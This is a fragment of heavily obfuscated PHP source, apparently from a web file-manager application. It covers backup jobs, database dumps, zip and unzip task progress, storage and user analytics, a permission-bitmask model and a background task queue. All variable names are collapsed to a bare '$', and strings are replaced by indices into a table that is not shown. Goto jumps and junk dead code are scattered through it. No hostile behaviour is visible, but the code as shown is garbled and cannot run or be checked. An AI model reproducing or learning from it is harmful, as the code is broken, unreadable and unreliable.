$; $ = $[832]; } public function qwnz6d567534() { $ =& $_SERVER[]; $ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = $[833]; if (strlen($) < $[700]) { die; } $ = array(); $ = $[834]; if (strlen($) < $[703]) { return; } $ = 1; while ($ <= (int) sqrt($)) { $ = $; while (!0) { $++; if ($ <= 2) { $ = $; break; } else { if ($ < 2) { continue; } } $ = !0; for ($ = 2; $ <= sqrt($); $++) { if ($ % $ == 0) { $ = !1; } } if ($) { $ = $; break; } } $[] = $; $ = $[835]; while ($ < $[703]) { if ($ >= 0) { break; } $++; } } $ = 2; for ($ = $; $ > 1; $--) { $ = !0; foreach ($ as $) { if ($ % $ == 0) { $ = !1; break; } } if ($) { $ = $; break; } } return $; $ = $[836]; } public function yfjqc68195ba($, $) { $ =& $_SERVER[]; return call_user_func(array($[8], $[308]), $, $); } public function yowpb68be23f($, $) { $ =& $_SERVER[]; $ =& $_SERVER[]; return call_user_func(array($[309], $[310]), $, $); $ = $[837]; if (strlen($) < $[733]) { return; } } public function fjez1b054a46($, $) { $ =& $_SERVER[]; return call_user_func(array($[309], $[311]), $, $); } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->model = Model($_SERVER[][838]); $this->init(); $this->keep(); } public function init() { $ =& $_SERVER[]; $this->isManual(); self::$name = date($[839]); if (!($ = $this->model->lastItem())) { $ = $this->initData(); } else { self::$name = $[$[32]]; if ($[$[840]] == $[91]) { self::$name = date($[262]); $ = intval(_get($, $[841], 0)); if (self::$manual == 0 && $[$[32]] == self::$name) { $this->model->remove($[$[487]]); } $ = $this->initData($, $[$[842]]); } else { $this->checkStore($[$[842]]); } } self::$option = $; } private function isManual() { $ = _get($GLOBALS, $_SERVER[][843], 0); $ = intval($); self::$manual = $ && $ == 1 ? 1 : 0; } private function initData($ = 0, $ = '') { $ =& $_SERVER[]; $ = $this->model->config(); if ($ && $[$[842]] != $) { $ = 0; } $this->checkStore($[$[842]]); if (self::$manual == 1) { self::$name .= $[11] . date($[844]); } $ = array($[842] => $[$[842]], $[32] => self::$name, $[840] => 0, $[171] => $[$[171]], $[845] => self::$manual, $[380] => array($[846] => array($[840] => 0), $[847] => array($[840] => 0, $[848] => 0, $[849] => 0, $[33] => $[12], $[850] => 0, $[851] => 0), $[852] => array($[840] => 0, $[848] => 0, $[849] => 0, $[850] => 0, $[851] => 0), $[233] => array($[840] => 0, $[853] => 0, $[854] => 0, $[855] => 0, $[856] => 0, $[555] => $, $[850] => 0, $[851] => 0)), $[850] => time(), $[851] => 0); $ = $this->model->insert($); $[$[487]] = $; return $; } private function checkStore($) { $ = Model($_SERVER[][857]); $ = $->listData($); $->checkConfig($); } public static function get() { if (!self::$option) { $ = Model($_SERVER[][838]); $ = $->findByName(self::$name); $->parseContent($); self::$option = $; } return self::$option; } public static function set($) { $ =& $_SERVER[]; $ = self::get(); foreach ($ as $ => $) { array_set_value($, $, $); } Model($[838])->update($[$[487]], $); self::$option = $; return self::$option; } public function keep() { $ =& $_SERVER[]; $ = self::get(); if (_get($, $[858], 0) == $[91]) { return; } $this->backupKeep($); self::set(array($[858] => 1)); } private function backupKeep($) { $ =& $_SERVER[]; if (self::$manual == 1) { return; } $ = $this->model->listData(); if (empty($)) { return; } $ = 0; $ = array(); foreach ($ as $) { if ($ >= 7) { break; } $[] = $[$[32]]; $++; } for ($ = 0; $ < 12; $++) { $[] = date($[859], strtotime("-{$} months")); } $ = array_unique($); $ = Model($[860])->get($[861]); foreach ($ as $) { if (isset($[$[845]]) && $[$[845]] == $[91]) { continue; } if (!empty($[$[32]]) && in_array($[$[32]], $)) { continue; } $this->model->remove($[$[487]]); $ = $this->backupPath($, $); IO::remove($, !1); } } private function backupPath($, $ = false) { $ =& $_SERVER[]; if (!$) { $ = Model($[860])->get($[861]); } $ = $[$[32]]; $ = substr(md5($[862] . $ . $), 0, 8); return "{io:{$[$[842]]}}/database/backup/" . $ . $[11] . $; } public function db() { $ =& $_SERVER[]; $ = self::get(); if (_get($, $[863], 0) == $[91]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($[863] => 1)); return !0; } public function dbFile() { $ =& $_SERVER[]; $ = self::get(); if (_get($, $[864], 0) == $[91]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($[864] => 1)); return !0; } public function file() { $ =& $_SERVER[]; $ = self::get(); if (_get($, $[865], 0) == $[91]) { return !0; } if ($[$[171]] == $[866]) { $ = new BackupFile(); if (!$->index()) { return !1; } } self::set(array($[865] => 1, $[840] => 1)); return !0; } public static function log($) { write_log($, $_SERVER[][867]); } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ =& $_SERVER[]; $ = Backup::get(); self::$io = $[$[842]]; self::$name = $[$[32]]; $ = new DbManage(); $ = $->dbType(); $ = array($[868] => $, $[869] => time()); Backup::set($); $ = $this->tmpFilesPath() . $[870] . self::$name . $[8]; del_dir($); mk_dir($); $ = $ = 0; try { $ = $->db()->getTables(); } catch (Exception $) { Backup::log($[871] . $->getMessage()); return !1; } $ = array_diff($, array($[872], $[873])); foreach ($ as $) { if ($ == $[874]) { continue; } $ += $->model($)->count(); } $ = new Task($[875], $[867], $, LNG($[876]) . $[877] . LNG($[878])); $GLOBALS[$[879]] = self::$name; foreach ($ as $) { $ = $ . $ . $[880]; if ($ == $[874]) { @touch($); continue; } $ = null; if ($ == $[881] && $[$[171]] == $[866]) { $ = self::$io; } $ += $->sqlFromDb($, $, $, $); } unset($GLOBALS[$[879]]); $->end(); if ($ > $) { $ = $; } $ = array($[868] => $, $[863] => 1, $[882] => $, $[883] => $, $[884] => time()); Backup::set($); if ($ - $ > 0) { $ = $[885]; if (!stristr(I18n::getType(), $[886])) { $ = $[887]; } Backup::log(array($, $)); return !1; } return !0; } private function tmpFilesPath() { $ =& $_SERVER[]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[92]][$[888]]) { $ = $GLOBALS[$[6]][$[92]][$[888]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[889])) { $ = TEMP_FILES; } } return $; } } goto C; A: class TaskZip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1917], array($this, $[1907])); Hook::bind($[1909], array($this, $[1910])); $ =& $this->task; $[$[1911]] = $[1295]; if (!$[$[1677]]) { $[$[1677]] = LNG($[1918]); } } protected function endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1917], array($this, $[1907])); Hook::unbind($[1909], array($this, $[1910])); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[1156]] || !$[$[853]]) { return; } if ($[$[1911]] == $[1295]) { $ = $[$[1846]]; if ($[$[1847]] != $[1295]) { $ = 0; } $ = ($[$[1850]] + $) / $[$[853]]; $[$[1793]] = $ * 0.3; } else { if ($[$[1911]] == $[400]) { $ = $[$[1792]] / $[$[1156]]; $[$[1793]] = 0.3 + $ * 0.5; } else { if ($[$[1911]] == $[110]) { $ = 0; if ($[$[1845]]) { $ = $[$[1846]] / $[$[1845]]; } $[$[1793]] = 0.3 + 0.5 + $ * 0.2; } } } if ($[$[1793]] > 0) { $ = timeFloat() - $[$[1795]] - $[$[1798]]; $[$[1799]] = $ * (1 - $[$[1793]]) / $[$[1793]]; } } public function copyFileStart($, $, $, $, $, $) { $ =& $_SERVER[]; parent::copyFileStart($, $, $, $, $, $); $ =& $this->task; if ($[$[1911]] == $[400]) { $[$[1911]] = $[110]; } $this->update(); } public function copyFileEnd($, $, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1846]] = $[$[1845]]; $[$[1850]] += $[$[1845]]; $[$[1847]] = $[12]; $this->update(); } public function zipEvent($, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1843]] = get_path_this($); $[$[1845]] = $; $[$[1846]] = $; $[$[1158]] = $ == $[1919] ? $[1914] : $[1915]; $[$[1847]] = $[12]; $[$[853]] = $; $[$[1911]] = $[400]; $this->update(); } public function nameParse($) { $ =& $_SERVER[]; $ =& $this->task; if ($[$[1792]] < $[$[1156]]) { $ = get_path_this($); if (strstr($, $[10])) { $[$[1792]] += 1; } } if ($[$[1911]] == $[1295]) { $[$[1911]] = $[400]; } $[$[1843]] = $; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($) { $ =& $_SERVER[]; $ = array($[679] => array($[33] => $[1920], $[362] => array($[285], $[855], $[1921], $[1922])), $[1923] => array($[33] => $[1924], $[362] => array($[285], $[853], $[1925], $[1926], $[1927]))); if (!isset($[$])) { return !1; } $this->optionType = $[$][$[33]]; $this->field = $[$][$[362]]; return !0; } public function listData($ = false, $ = "modifyTime", $ = false) { return parent::listData($, $, $); } public function trendList($) { $ =& $_SERVER[]; $ = $this->listData(); if ($) { $ = end($); $ = date($[1928], strtotime($[1929])); if ($[$[285]] == $) { return $; } $ = strtotime($[$[285]]); } if (!isset($)) { $ = $ == $[679] ? $[611] : $[920]; $ = Model($)->min($[234]); } $ = $[1930] . ucfirst($); $ = $this->dateList($); foreach ($ as $) { $this->{$}($); } return $this->listData(); } private function dateList($) { $ =& $_SERVER[]; $ = $; $ = strtotime($[1929]); $ = array(); while ($ <= $) { $[] = date($[1928], $); $ = strtotime($[1931], $); } return $; } public function _recordUser($ = '') { $ =& $_SERVER[]; $ = strtotime(date($[1932], strtotime($))); $ = strtotime(date($[1933], strtotime($))); $ = array($[234] => array($[1106], $)); $ = Model($[611])->where($)->count($[1791]); $[$[234]] = array($[420], array($, $)); $ = Model($[611])->where($)->count($[1791]); $[$[33]] = $[1934]; $ = Model($[1935])->where($)->count($[1936]); $ = array($[285] => $, $[855] => (int) $, $[1921] => (int) $, $[1922] => (int) $); return $this->insert($); } public function _recordStore($ = '') { $ =& $_SERVER[]; $ = strtotime(date($[1933], strtotime($))); $ = array($[234] => array($[1106], $)); $ = Model($[558])->where($)->sum($[79]); $[$[497]] = 0; $ = Model($[920])->where($)->sum($[79]); $[$[191]] = 1; $ = Model($[920])->where($)->sum($[79]); $[$[191]] = 2; $ = Model($[920])->where($)->sum($[79]); $ = array($[285] => $, $[853] => (int) $, $[1925] => (int) $, $[1926] => (int) $, $[1927] => (int) $); return $this->insert($); } public function trend($, $) { $ =& $_SERVER[]; if (!$this->init($)) { return !1; } $ = $this->trendList($); if ($ && $ != $[1763]) { $ = $[0][$[285]]; $ = $this->validDate($, $); $ = array(); $ = array_to_keyvalue($, $[285]); foreach ($ as $) { if (isset($[$])) { $ = $[$]; } else { $ = end($); $[$[285]] = $; if ($ == $[679]) { $[$[1921]] = $[$[1922]] = 0; } } $[] = $; } $ = $; } $ = array($[679] => array($[855] => LNG($[1937]), $[1921] => LNG($[1938]), $[1922] => LNG($[1939])), $[1923] => array($[853] => LNG($[1940]), $[1925] => LNG($[1941]), $[1926] => LNG($[1942]), $[1927] => LNG($[1943]))); $ = array($[679] => $[1944], $[1923] => $[79]); if (empty($)) { $ = date($[1928], strtotime($[1929])); $ = array($[285] => $); foreach ($[$] as $ => $) { $[$] = 0; } $[] = $; } $ = array(); foreach ($ as $) { if ($ == $[1923] && $[$[1925]] > $[$[853]]) { $[$[1925]] = $[$[853]]; } foreach ($[$] as $ => $) { $ = array($[285] => $[$[285]], $[1677] => $); $[$[$]] = isset($[$]) ? $[$] : 0; $[] = $; } } return $; } public function validDate($, $) { $ =& $_SERVER[]; $ = date($[1928], strtotime($[1929])); $ = array($); switch ($) { case $[1770]: $ = mktime(0, 0, 0, date($[1945]), date($[1469]) - date($[1558]) + 7 - 7, date($[1946])); $ = 0; do { $ = date($[1928], $ - 3600 * 24 * 7 * $); $[] = $; $++; } while ($ < $); break; case $[1768]: $ = 1; do { $ = date($[1947], strtotime("- {$} months")); $[] = $; $++; } while ($ < $); break; case $[1948]: $ = (int) date($[1946], strtotime($)); $ = (int) date($[1946]); if ($ >= $) { break; } for ($; $ < $; $++) { $[] = $ . $[1949]; } break; default: break; } if ($ > end($)) { array_pop($); } sort($); return $; } public function listTable($) { $ = ucfirst($); return Model($)->listData(); } public function option($) { $ = $_SERVER[][1950] . ucfirst($); return $this->{$}(); } private function optionUser() { $ =& $_SERVER[]; $ = Model($[611])->count($[1791]); $ = Model($[611])->where($[1951])->count($[1791]); $ = intval($GLOBALS[$[6]][$[436]][$[1736]]) / 3600; $ = strtotime("-{$} hours"); $ = strtotime(date($[1932])); if ($ < $) { $ = $; } $ = array($[1952] => array($[1107], $)); $ = (int) Model($[611])->where($)->count($[1791]); if (!$) { $ = 1; } $ = array($[1952] => array($[1107], $)); $ = Model($[611])->where($)->count($[1791]); return array($[848] => (int) $, $[1953] => (int) ($ - $), $[1954] => (int) $, $[1955] => (int) $, $[1956] => $); } private function optionFile() { $ =& $_SERVER[]; $ = $this->sourceSize(); $ = $[$[79]]; $ = $[$[1925]]; $ = Model($[920])->where(array($[497] => 0))->count($[194]); $ = array($[497] => 0, $[234] => array($[1107], strtotime(date($[1932])))); $ = Model($[920])->where($)->sum($[79]); $ = Model($[920])->where($)->count($[194]); return array($[853] => $, $[1925] => $, $[1957] => $ - $, $[1958] => (int) $, $[855] => (int) $, $[1959] => (int) $); } private function optionAccess() { $ =& $_SERVER[]; return array($[848] => $this->typeLogCnt(), $[110] => $this->typeLogCnt($[110]), $[537] => $this->typeLogCnt($[537]), $[1960] => $this->typeLogCnt($[1960]), $[1961] => $this->typeLogCnt($[1961]), $[679] => $this->typeLogCnt($[12], $[1936])); } private function typeLogCnt($ = '', $ = "id") { $ =& $_SERVER[]; $ = array($[110] => array($[1962], $[1963]), $[537] => array($[1964], $[1965]), $[1960] => array($[1966], $[1967], $[1968]), $[1961] => array($[1969], $[1970]), $[1971] => array($[1972], $[1973], $[1974])); $ = strtotime(date($[1932])); $ = array($[234] => array($[1107], $)); if ($) { $[$[33]] = array($[7], $[$]); } $ = Model($[1935])->where($)->count($); return (int) $; } private function optionServer() { $ =& $_SERVER[]; $ = $this->diskDriver(); $ = KodIO::defaultDriver(); $ = array($[913] => $[$[487]]); $ = Model($[558])->where($)->sum($[79]); $ = explode($[53], $_SERVER[$[147]]); $ = $[0]; $ = $GLOBALS[$[6]][$[21]]; $ = $[$[1069]]; if ($ == $[1057]) { $ = explode($[1384], $[$[1068]]); $ = $[0]; } if ($ == $[1005] || $ == $[898]) { $ = Model()->db()->query($[1975]); $ = $[0] && isset($[0][$[1676]]) ? $[0][$[1676]] : 0; $ = $[1976] . ($ ? $[8] . $ : $[12]); } $ = $GLOBALS[$[6]][$[436]][$[922]]; return array($[1977] => $ ? $[$[1978]] : 0, $[1979] => $ ? $[$[1980]] : 0, $[1981] => (int) $[$[1978]] * 1024 * 1024 * 1024, $[1982] => (int) $, $[1983] => ucfirst($), $[1984] => $[1985] . PHP_VERSION, $[1986] => phpBuild64() ? 64 : 32, $[847] => str_replace($[1225], $[1085], $), $[436] => ucfirst($), $[32] => $_SERVER[$[1987]]); } private function diskDriver() { $ =& $_SERVER[]; $ = $[8]; $ = $GLOBALS[$[6]][$[1401]] == $[1402]; if ($) { $ = $[1988]; if (function_exists($[1989])) { exec($[1990], $); $ = $[1] . $[8]; } } if (!file_exists($)) { return; } if (!function_exists($[1991])) { return; } $ = @disk_total_space($); $ = $ - @disk_free_space($); return array($[1978] => $, $[1980] => $); } public function fileChart($) { $ =& $_SERVER[]; if (isset($[$[1791]])) { return Model($[920])->userFileTypeProfile($[$[1791]]); } if (isset($[$[1992]])) { return Model($[920])->groupFileTypeProfile($[$[1992]]); } $ = $this->sourceSize(); $ = array($[193] => 0, $[191] => 1); $ = Model($[920])->where($)->sum($[79]); $[$[191]] = 2; $ = Model($[920])->where($)->sum($[79]); return array($[853] => $[$[79]], $[1925] => $[$[1925]], $[1926] => (int) $, $[1927] => (int) $); } private function sourceSize() { $ =& $_SERVER[]; $ = Model($[920])->where(array($[497] => 0))->sum($[79]); $ = Model($[558])->sum($[79]); if ($ > $) { $ = $; } return array($[79] => (int) $, $[1925] => (int) $); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ =& $_SERVER[]; $ = array(array($[506] => LNG($[1993]), $[1994] => $[1995], $[1996] => 1, $[1997] => 1, $[1998] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($[506] => LNG($[1999]), $[1994] => $[2000], $[1996] => 2, $[1997] => 1, $[1998] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($[506] => LNG($[2001]), $[1994] => $[2002], $[1996] => 3, $[1997] => 1, $[1998] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($[506] => LNG($[2003]), $[1994] => $[2004], $[1996] => 4, $[1997] => 1, $[1998] => self::AUTH_SHOW | self::AUTH_VIEW), array($[506] => LNG($[2005]), $[1994] => $[2006], $[1996] => 5, $[1997] => 1, $[1998] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($[506] => LNG($[2007]), $[1994] => $[2008], $[1996] => 6, $[1997] => 1, $[1998] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($[506] => LNG($[2009]), $[1994] => $[2010], $[1996] => 7, $[1997] => 1, $[1998] => 0)); return $; } public static function authCheck($, $) { $ =& $_SERVER[]; $ = intval($); if (KodUser::isRoot() && $GLOBALS[$[6]][$[2011]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $); } public static function authCheckShow($) { return self::authCheck($, self::AUTH_SHOW); } public static function authCheckView($) { return self::authCheck($, self::AUTH_VIEW); } public static function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($) { return self::authCheck($, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function authCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($) { return self::authCheck($, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($, $) { $ =& $_SERVER[]; $ = array($[2012] => self::AUTH_VIEW, $[1295] => self::AUTH_DOWNLOAD, $[110] => self::AUTH_UPLOAD, $[1961] => self::AUTH_EDIT, $[1960] => self::AUTH_REMOVE, $[1971] => self::AUTH_SHARE, $[441] => self::AUTH_COMMENT, $[1778] => self::AUTH_EVENT, $[2013] => self::AUTH_ROOT); if (!isset($[$])) { return; } $ = $[$]; $ = intval($); if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $); } public static function authDisable($, $) { if (intval($) <= 0) { return 0; } return intval($) & ~$; } public $optionType = "System.sourceAuthList"; public $field = array("name", "auth", "label", "display", "system", "sort"); public function initData() { $ = $this->authDefault(); foreach ($ as $) { $this->add($); } } public function findAuth($, $) { $ =& $_SERVER[]; $ = parent::listData(); foreach ($ as $) { $ = intval($[$[499]]); if ($ <= 0 || $[$[2014]] == 0) { continue; } if (($ & $) != $) { continue; } if (($ & $) != 0) { continue; } return $[$[487]]; } return !1; } public function findAuthMax($, $) { $ =& $_SERVER[]; $ = !1; $ = parent::listData(); foreach ($ as $) { $ = intval($[$[499]]); if ($ <= 0 || $[$[2014]] == 0) { continue; } if (($ & $) != $) { continue; } if (($ & $) != 0) { continue; } if (!$) { $ = $; continue; } if (intval($[$[499]]) < $) { $ = $; } } return $ ? $[$[487]] : !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[]; $ = parent::listData(); $ = !1; foreach ($ as $) { if ($[$[499]] <= 0 || $[$[2014]] == $[231]) { continue; } if (!$) { $ = $; continue; } if ($[$[499]] > $[$[499]]) { $ = $; } } return $ ? $[$[487]] : $[12]; } public function listData($ = false, $ = "sort", $ = false) { return parent::listData($, $, $); } public function update($, $) { $ =& $_SERVER[]; $ = parent::listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[487]] != $[$[487]]) { return !1; } $this->filterAuth($[$[499]]); return parent::update($, $); } public function remove($) { $ = parent::listData($); if (!$ || $[$_SERVER[][192]]) { return !1; } return parent::remove($); } public function add($ = array()) { $ =& $_SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $ = array($[32] => $[12], $[499] => 1, $[2015] => $[2002], $[2014] => 1, $[192] => 0, $[2016] => 0); $ = array_merge($, $); $[$[2016]] = $this->getSort(); $this->filterAuth($[$[499]]); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[2016]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$) { if (!$) { return; } $ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = array(); foreach ($ as $) { if ($ & $) { $[] = $; } } if (in_array(self::AUTH_ROOT, $)) { $ = array_sum($); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ as $) { if (isset($[$])) { $ = array_merge($, $[$]); } } $[] = self::AUTH_SHOW; $ = array_sum(array_unique($)); } public function sort($, $) { return parent::update($, $); } } goto B; e: class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "taskQueueLength"; const QUEUE_DATA = "taskQueueData"; const QUEUE_TIME = "taskQueueLastRun"; const QUEUE_THREAD = "taskQueueThread"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($, $ = array(), $ = '', $ = '') { $ =& $_SERVER[]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ && array_find_by_field(self::$listData, $[97], $)) { return !0; } if ($ && array_find_by_field(self::$listDataAdd, $[97], $)) { return !0; } self::$listDataAdd[] = array($[353] => $, $[1891] => $, $[538] => $, $[97] => $); return !0; } public static function addSubmit() { $ =& $_SERVER[]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($[1892] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $[12], $[538])), $[198]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($, $ = array(), $ = '', $ = '') { $ =& $_SERVER[]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($ && array_find_by_field($, $[97], $)) { return !0; } $[] = array($[353] => $, $[1891] => $, $[538] => $, $[97] => $); self::setAll($); write_log($[1892] . $, $[198]); return !0; } public static function run() { $ =& $_SERVER[]; $ = self::getAll(); $ = array_shift($); if (!$) { return !1; } self::setAll($); $ = timeFloat(); $ = $[12]; try { $ = Hook::apply($[$[353]], $[$[1891]]); } catch (Exception $) { write_log($, $[1280]); } $ = number_format(timeFloat() - $, 3) . $[1807]; if ($ && is_string($)) { $ = $ . $[1893] . $; } write_log($[1894] . $[$[538]] . $[1895] . $, $[198]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $ =& $_SERVER[]; $ = self::threadCount() + 1; if ($ > 3 || !self::count()) { return; } write_log($[1896] . $, $[198]); Cache::set(self::QUEUE_THREAD, $, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($[1897], $[198]); } public static function getKey($, $ = "int") { $ =& $_SERVER[]; Cache::removeMemory($); $ = Cache::get($); if ($ == $[375]) { return $ ? intval($) : 0; } if ($ == $[1898]) { return is_array($) ? $ : array(); } return $; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[][1898]); } public static function setAll($) { $ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $); Cache::set(self::QUEUE_DATA, $, $); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($, $ = 5.0) { if (!$) { return; } $ = Cache::get($); if (!$ || timeFloat() - floatVal($) >= $) { Cache::set($, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($, $, $, $ = 5.0) { $ =& $_SERVER[]; if (!$ || !$) { return; } self::$asyncAdd = !0; $ = $[1899]; $ = Cache::get($, !0); $ = array($[1900] => timeFloat(), $[1901] => timeFloat(), $[353] => $, $[1891] => $, $[207] => $); if (is_array($[$])) { $[$[1901]] = $[$][$[1901]]; } if (is_array($[$])) { if (timeFloat() - $[$][$[1900]] < $[$[207]] * 0.3) { return; } $[$[1901]] = $[$][$[1901]]; } $[$] = $; Cache::set($, $, 60); Cache::removeMemory($); write_log($[1902] . $ . $[74] . $, $[198]); } public static function timeLimitCallLoop() { $ =& $_SERVER[]; $ = array($[1903]); $ = in_array(strtolower(ACTION), $); if (!$ && !self::$asyncAdd) { return; } $ = $[1899]; $ = Cache::get($, !0); if (!$ || count($) <= 0) { return; } $ = !1; $ = timeFloat(); $ = array(); foreach ($ as $ => $) { if ($ - $[$[1901]] > $[$[207]]) { $ = !0; try { Hook::apply($[$[353]], $[$[1891]]); write_log($[1904] . $ . $[74] . $[$[353]] . $[1905] . ACTION, $[198]); } catch (Exception $) { } continue; } $[$] = $; } if (!$) { return; } if (!$) { return Cache::remove($); } Cache::set($, $, 60); Cache::removeMemory($); } public static function finished($, $) { $ =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($[353] => $, $[1891] => $); } private static function finishedRun() { $ =& $_SERVER[]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$[353]], $[$[1891]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1906], array($this, $[1907])); Hook::bind($[1294], array($this, $[1908])); Hook::bind($[1909], array($this, $[1910])); $ =& $this->task; $[$[1911]] = $[1295]; if (!$[$[1677]]) { $[$[1677]] = LNG($[1912]); } } protected function endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1906], array($this, $[1907])); Hook::unbind($[1294], array($this, $[1908])); Hook::unbind($[1909], array($this, $[1910])); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[1156]] || !$[$[853]]) { if ($[$[1911]] != $[400]) { return; } } if ($[$[1911]] == $[1295]) { $ = 0; if ($[$[1845]]) { $ = $[$[1846]] / $[$[1845]]; } $[$[1793]] = $ * 0.3; } else { if ($[$[1911]] == $[400]) { $ = $[$[1792]] / $[$[1156]]; $[$[1793]] = 0.3 + $ * 0.4; } else { if ($[$[1911]] == $[110]) { $ = 0; if ($[$[1847]] == $[110]) { $ = $[$[1846]]; } $ = ($[$[1850]] + $) / $[$[853]]; $[$[1793]] = 0.3 + 0.4 + $ * 0.3; } } } if ($[$[1793]] > 0) { $ = timeFloat() - $[$[1795]] - $[$[1798]]; $[$[1799]] = $ * (1 - $[$[1793]]) / $[$[1793]]; } } public function addFile($) { $ =& $_SERVER[]; $ =& $this->task; $ = IO::info($); $[$[1843]] = $[$[32]]; $[$[1845]] = $[$[79]]; $[$[1846]] = 0; $[$[1158]] = $[1866]; $[$[1847]] = $[1295]; $[$[853]] = $[$[79]]; $[$[1156]] = 1; $ = 0; $[$[1854]] = array($[1855] => $ + 1, $[506] => $[$[32]], $[87] => $[$[87]], $[596] => $[$[596]] ? $[$[596]] : $[$[87]]); $this->update(); } public function zipEvent($, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; 